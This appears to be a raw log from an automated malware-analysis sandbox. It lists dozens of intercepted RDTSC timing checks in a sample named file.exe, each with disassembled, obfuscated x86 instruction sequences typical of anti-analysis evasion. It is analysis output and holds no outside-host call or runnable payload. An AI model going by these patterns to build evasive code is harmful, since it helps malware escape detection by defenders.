Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E052F second address: 54E0572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F76D47AEA7Bh 0x00000014 add esi, 414F8B8Eh 0x0000001a jmp 00007F76D47AEA89h 0x0000001f popfd 0x00000020 push eax 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0572 second address: 54E05FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F76D4BF1B03h 0x00000009 or cx, 699Eh 0x0000000e jmp 00007F76D4BF1B09h 0x00000013 popfd 0x00000014 jmp 00007F76D4BF1B00h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jns 00007F76D4BF1B41h 0x00000022 pushad 0x00000023 jmp 00007F76D4BF1AFEh 0x00000028 jmp 00007F76D4BF1B02h 0x0000002d popad 0x0000002e add eax, ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F76D4BF1B07h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E05FE second address: 54E0604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0604 second address: 54E0657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b jmp 00007F76D4BF1B07h 0x00000010 test ecx, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F76D4BF1AFBh 0x0000001b xor ax, 8BCEh 0x00000020 jmp 00007F76D4BF1B09h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D026C second address: 54D0270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0270 second address: 54D02A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007F76D4BF1B07h 0x0000000e sub esp, 2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F76D4BF1AFBh 0x00000019 movzx esi, bx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02A5 second address: 54D02F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F76D47AEA80h 0x0000000f push eax 0x00000010 jmp 00007F76D47AEA7Bh 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F76D47AEA85h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02F0 second address: 54D02F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0337 second address: 54D034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 9Dh 0x00000005 mov bx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D034A second address: 54D034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D034E second address: 54D0354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0354 second address: 54D0393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b jmp 00007F76D4BF1B07h 0x00000010 inc ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov esi, ebx 0x00000016 mov cl, dh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0393 second address: 54D0398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0398 second address: 54D03C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edx, 7B57EBECh 0x00000014 call 00007F76D4BF1B05h 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D03C3 second address: 54D03F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F76D47AEBE7h 0x0000000f pushad 0x00000010 mov bl, cl 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F76D47AEA89h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D048E second address: 54D049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D4BF1AFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0515 second address: 54D051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D051B second address: 54D051F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D051F second address: 54D05A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b pushad 0x0000000c mov eax, edx 0x0000000e mov edi, 2CDC6044h 0x00000013 popad 0x00000014 jne 00007F7744EFC9DEh 0x0000001a jmp 00007F76D47AEA83h 0x0000001f mov ebx, dword ptr [ebp+08h] 0x00000022 jmp 00007F76D47AEA86h 0x00000027 lea eax, dword ptr [ebp-2Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F76D47AEA7Dh 0x00000033 adc esi, 187A3996h 0x00000039 jmp 00007F76D47AEA81h 0x0000003e popfd 0x0000003f jmp 00007F76D47AEA80h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05A2 second address: 54D05A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05A8 second address: 54D05AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05AC second address: 54D05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05B0 second address: 54D05E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F76D47AEA86h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 call 00007F76D47AEA7Ch 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05E2 second address: 54D0647 instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F76D4BF1B07h 0x0000000c popad 0x0000000d nop 0x0000000e pushad 0x0000000f mov esi, 099A51CBh 0x00000014 pushfd 0x00000015 jmp 00007F76D4BF1B00h 0x0000001a add ax, 00D8h 0x0000001f jmp 00007F76D4BF1AFBh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 mov ecx, ebx 0x0000002a mov edx, 571FB9C6h 0x0000002f popad 0x00000030 nop 0x00000031 pushad 0x00000032 mov si, di 0x00000035 mov edi, 3C0673AAh 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f mov di, ax 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D003D second address: 54D0090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F76D47AEA7Bh 0x0000000b sub ch, FFFFFF9Eh 0x0000000e jmp 00007F76D47AEA89h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F76D47AEA81h 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov di, si 0x00000022 mov edi, ecx 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0090 second address: 54D0096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0096 second address: 54D009C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D009C second address: 54D00BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F76D4BF1B03h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00BA second address: 54D0125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 5ED8CECAh 0x00000008 call 00007F76D47AEA7Bh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F76D47AEA7Bh 0x0000001b sub eax, 0053DA1Eh 0x00000021 jmp 00007F76D47AEA89h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F76D47AEA80h 0x0000002d xor ecx, 3E3F3018h 0x00000033 jmp 00007F76D47AEA7Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0125 second address: 54D017A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov al, 4Fh 0x0000000d jmp 00007F76D4BF1B09h 0x00000012 popad 0x00000013 mov dword ptr [ebp-04h], 55534552h 0x0000001a pushad 0x0000001b jmp 00007F76D4BF1AFCh 0x00000020 pushad 0x00000021 movzx eax, dx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C03 second address: 54D0C37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F7744EF39CFh 0x0000000e push 75C12B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75C74538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F76D47AEA87h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C37 second address: 54D0C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C3D second address: 54D0C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C41 second address: 54D0C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A32 second address: 54E0A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A36 second address: 54E0A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A3A second address: 54E0A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A40 second address: 54E0A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A47 second address: 54E0A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F76D47AEA7Fh 0x00000012 jmp 00007F76D47AEA83h 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A79 second address: 54E0A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A7E second address: 54E0AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov ebx, 2E95CD44h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 mov di, cx 0x00000014 popad 0x00000015 mov dword ptr [esp], esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F76D47AEA83h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AAB second address: 54E0AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AB1 second address: 54E0AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AB5 second address: 54E0AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F76D4BF1B07h 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 mov dl, al 0x00000016 mov cx, bx 0x00000019 popad 0x0000001a mov dx, CB1Eh 0x0000001e popad 0x0000001f je 00007F774531F3C7h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F76D4BF1B00h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AFE second address: 54E0B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 jmp 00007F76D47AEA86h 0x00000015 je 00007F7744EF43E3h 0x0000001b jmp 00007F76D47AEA80h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F76D47AEA7Dh 0x0000002a sbb si, 3566h 0x0000002f jmp 00007F76D47AEA81h 0x00000034 popfd 0x00000035 mov edx, ecx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B6C second address: 54E0BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F76D4BF1B07h 0x00000010 mov edi, ecx 0x00000012 pop ecx 0x00000013 push edi 0x00000014 pushfd 0x00000015 jmp 00007F76D4BF1B00h 0x0000001a sub cl, FFFFFF98h 0x0000001d jmp 00007F76D4BF1AFBh 0x00000022 popfd 0x00000023 pop eax 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F76D4BF1B02h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0BD1 second address: 54E0BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C05 second address: 54E0C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C09 second address: 54E0C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C0D second address: 54E0C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C91 second address: 54E0CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F76D47AEA7Ch 0x00000011 and ecx, 113AFB38h 0x00000017 jmp 00007F76D47AEA7Bh 0x0000001c popfd 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABE489 second address: 6ABDD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 clc 0x00000009 pushad 0x0000000a pushad 0x0000000b add dword ptr [ebp+122D1D97h], eax 0x00000011 popad 0x00000012 jmp 00007F76D4BF1B04h 0x00000017 popad 0x00000018 push dword ptr [ebp+122D16E1h] 0x0000001e js 00007F76D4BF1B02h 0x00000024 jmp 00007F76D4BF1AFCh 0x00000029 call dword ptr [ebp+122D1D09h] 0x0000002f pushad 0x00000030 cld 0x00000031 xor eax, eax 0x00000033 je 00007F76D4BF1AFCh 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F76D4BF1B01h 0x00000042 mov dword ptr [ebp+122D39B9h], eax 0x00000048 mov dword ptr [ebp+122D1C38h], ecx 0x0000004e mov esi, 0000003Ch 0x00000053 jnc 00007F76D4BF1AF7h 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jmp 00007F76D4BF1B00h 0x00000062 lodsw 0x00000064 pushad 0x00000065 sub dword ptr [ebp+122D24EDh], edx 0x0000006b mov bh, dh 0x0000006d popad 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 mov dword ptr [ebp+122D24EDh], edx 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c mov dword ptr [ebp+122D24EDh], esi 0x00000082 push eax 0x00000083 pushad 0x00000084 push ebx 0x00000085 push edi 0x00000086 pop edi 0x00000087 pop ebx 0x00000088 push ecx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1E9AA second address: 6C1E9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1E9AE second address: 6C1E9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E0E0 second address: 6C2E0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E254 second address: 6C2E259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E842 second address: 6C2E846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30C24 second address: 6C30C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30C28 second address: 6ABDD0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a xor dword ptr [esp], 4F3A4403h 0x00000011 or dword ptr [ebp+122D25FCh], edi 0x00000017 push dword ptr [ebp+122D16E1h] 0x0000001d mov dword ptr [ebp+122D25FCh], ebx 0x00000023 call dword ptr [ebp+122D1D09h] 0x00000029 pushad 0x0000002a cld 0x0000002b xor eax, eax 0x0000002d je 00007F76D47AEA7Ch 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 jmp 00007F76D47AEA81h 0x0000003c mov dword ptr [ebp+122D39B9h], eax 0x00000042 mov dword ptr [ebp+122D1C38h], ecx 0x00000048 mov esi, 0000003Ch 0x0000004d jnc 00007F76D47AEA77h 0x00000053 add esi, dword ptr [esp+24h] 0x00000057 jmp 00007F76D47AEA80h 0x0000005c lodsw 0x0000005e pushad 0x0000005f sub dword ptr [ebp+122D24EDh], edx 0x00000065 mov bh, dh 0x00000067 popad 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D24EDh], edx 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D24EDh], esi 0x0000007c push eax 0x0000007d pushad 0x0000007e push ebx 0x0000007f push edi 0x00000080 pop edi 0x00000081 pop ebx 0x00000082 push ecx 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30DA9 second address: 6C30DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F76D4BF1B00h 0x0000000c nop 0x0000000d jmp 00007F76D4BF1AFFh 0x00000012 or dword ptr [ebp+122D369Bh], edx 0x00000018 push 00000000h 0x0000001a mov dx, EF3Dh 0x0000001e sub esi, dword ptr [ebp+122D38C5h] 0x00000024 push 97A18880h 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c pop eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30DED second address: 6C30E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c add dword ptr [esp], 685E7800h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F76D47AEA78h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d pushad 0x0000002e mov bl, ch 0x00000030 mov ch, dh 0x00000032 popad 0x00000033 push 00000003h 0x00000035 sub dword ptr [ebp+122D1CF6h], eax 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F76D47AEA78h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 xor cl, 00000019h 0x0000005a push 00000003h 0x0000005c jmp 00007F76D47AEA83h 0x00000061 movzx ecx, dx 0x00000064 call 00007F76D47AEA79h 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F76D47AEA7Dh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30E7D second address: 6C30EA7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D4BF1AF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F76D4BF1B03h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30EA7 second address: 6C30EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30EB5 second address: 6C30EBF instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D4BF1AFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
